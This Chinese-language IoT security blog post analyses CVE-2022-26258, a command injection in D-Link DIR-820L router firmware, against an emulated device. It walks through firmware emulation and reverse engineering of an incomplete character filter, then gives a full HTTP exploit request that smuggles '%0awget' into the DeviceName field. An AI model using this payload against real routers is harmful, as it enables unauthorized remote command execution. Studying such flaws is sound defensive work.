IOTsec-Zone 物联网安全社区 | D-Link CVE-2022-26258 命令注入

D-Link CVE-2022-26258 命令注入

2022-04-07 12:04:17 | 固件安全 | 436次阅读 | IOTsec-zone

# D-Link CVE-2022-26258 命令注入

> - 设备型号：D-Link DIR-820L
> - 固件版本：1.05 B03
> - 厂商官网：http://www.dlink.com.cn/
> - 固件下载地址：http://www.dlinktw.com.tw/techsupport/download.ashx?file=2663
> - 测试环境：Ubuntu 18.04
> - CVE编号：CVE-2022-26258

## 0x00.前言

今天又是美好的一天，逛逛iotsec-zone社区的IOT安全情报，发现新更新的漏洞
![](https://www.iotsec-zone.com/images/MdImg/88ec44d1c49327b6c0a50f2d0a5e7d7d.png)

## 0x01.固件模拟

将固件下载下来，移动到Ubuntu中，直接使用binwalk进行固件的解密
![](https://www.iotsec-zone.com/images/MdImg/c4ca7621723e2976f5cb65f5d1217966.png)

可以看到固件没有进行加密，接下来我们尝试使用FirmAE进行固件模拟，上命令

```bash
$ sudo ./run.sh -r DIR820L ./firmwares/DIR820LA1_FW105B03.bin
```
![](https://www.iotsec-zone.com/images/MdImg/86bf988b288ef73dccce0266e630249a.png)

看到两个true说明http服务和network都成功模拟，也就是说我们得到了一台仿真的路由器。

## 0x02.逆向分析

准备工作我们已经完成了，接下来就是对固件进行分析

我们不能盲目的操作，我们去look一下描述信息
![](https://www.iotsec-zone.com/images/MdImg/425549d6460f910f331c0fe8109004ec.png)

这一下就清楚多了，在页面lan.asp下面，因为咱们已经模拟器来，先去看一下这个页面是什么页面。
![](https://www.iotsec-zone.com/images/MdImg/79f5c89d0b45ad3b7c5ec9dd416652c3.png)

原来是网络设置页面，那么触发漏洞的点就有很多了，例如IP，name，device等，这里是设置Device Name时触发的命令执行

接下来上burp，抓包看看请求，分析后端。
![](https://www.iotsec-zone.com/images/MdImg/1480c8b54fc063ead1ed6628cd44ad19.png)

使用grep命令进行检索

```shell
$ grep -r "get_set" .
```
![](https://www.iotsec-zone.com/images/MdImg/0da82dfe47732a75e82c82544a5b4d9c.png)

可以看到一个耳熟能详的二进制应用 ncc2，这个应用主要进行网络等底层操作相关的操作，使用IDA进行分析

根据DEVICE_NAME进行相关追踪
![](https://www.iotsec-zone.com/images/MdImg/1c89c030050d3bdca6df00fb05515046.png)

这里可以看到设置设备名称时通过系统命令触发执行，但是前面有个hasInjectionString，根据英文名字猜测，应该是用来判定是否有注入，我们进行跟踪
![](https://www.iotsec-zone.com/images/MdImg/22bb12ca9311d45c450e622760bbb399.png)

可以看到为导出函数，使用grep进行快速检索
![](https://www.iotsec-zone.com/images/MdImg/55a9da867765629b0d4fad14fe988db0.png)

可以看到匹配的动态链接库，针对动态链接库进行逆向分析
![](https://www.iotsec-zone.com/images/MdImg/b5075fe43af96b810a7a41d03658a8ea.png)

可以看到其过滤的符号

```shell
`\;'|
```

但是没有过滤\n也就是%0a，所以我们可以使用%0a进行绕过

## 0x03.EXP

使用python启动个服务端
![](https://www.iotsec-zone.com/images/MdImg/dc2f210b5df23b7333efb924a524d2d9.png)

这里使用Burpsuite进行EXP的攻击，EXP如下

```http
POST /get_set.ccp HTTP/1.1
Host: 192.168.0.1
Content-Length: 765
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.0.1
Referer: http://192.168.0.1/lan.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: hasLogin=1
Connection: close

ccp_act=set&old_ip=192.168.0.1&old_mask=255.255.255.0&new_ip=192.168.0.1&new_mask=255.255.255.0&nextPage=lan.asp&lanHostCfg_IPAddress_1.1.1.0=192.168.0.1&lanHostCfg_SubnetMask_1.1.1.0=255.255.255.0&lanHostCfg_DomainName_1.1.1.0=&lanHostCfg_DNSRelay_1.1.1.0=1&lanHostCfg_DHCPServerEnable_1.1.1.0=1&lanHostCfg_MinAddress_1.1.1.0=192.168.0.100&lanHostCfg_MaxAddress_1.1.1.0=192.168.0.200&lanHostCfg_DHCPLeaseTime_1.1.1.0=1440&lanHostCfg_DeviceName_1.1.1.0=%0awget http://192.168.0.2%0a&lanHostCfg_AlwaysBroadcast_1.1.1.0=0&lanHostCfg_NetBIOSAnnouncement_1.1.1.0=0&lanHostCfg_NetBIOSLearn_1.1.1.0=0&lanHostCfg_NetBIOSScope_1.1.1.0=&lanHostCfg_NetBIOSNodeType_1.1.1.0=2&lanHostCfg_PrimaryWINSAddress_1.1.1.0=0.0.0.0&lanHostCfg_SecondaryWINSAddress_1.1.1.0=0.0.0.0&1649259644679=1649259644679
```
![](https://www.iotsec-zone.com/images/MdImg/7e8ceec8cbe8a9df98827f1d8d1b9bb6.png)

这里可以看到命令成功被执行

## 0x04.小结

通过上面的分析可以看到，虽然进行了过滤，但是过滤并不够完整，所以仍可以被绕过

举报原因

友情链接